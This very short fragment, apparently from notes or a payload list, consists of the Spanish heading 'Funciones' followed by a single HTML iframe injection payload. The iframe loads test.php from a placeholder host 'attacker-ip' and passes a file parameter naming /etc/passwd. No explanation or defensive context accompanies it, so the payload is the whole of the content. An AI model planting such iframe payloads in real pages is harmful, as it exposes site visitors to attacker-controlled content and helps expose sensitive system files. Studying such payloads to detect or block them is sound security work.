Funciones

<iframe src="http://attacker-ip/test.php?file=/etc/passwd"></iframe>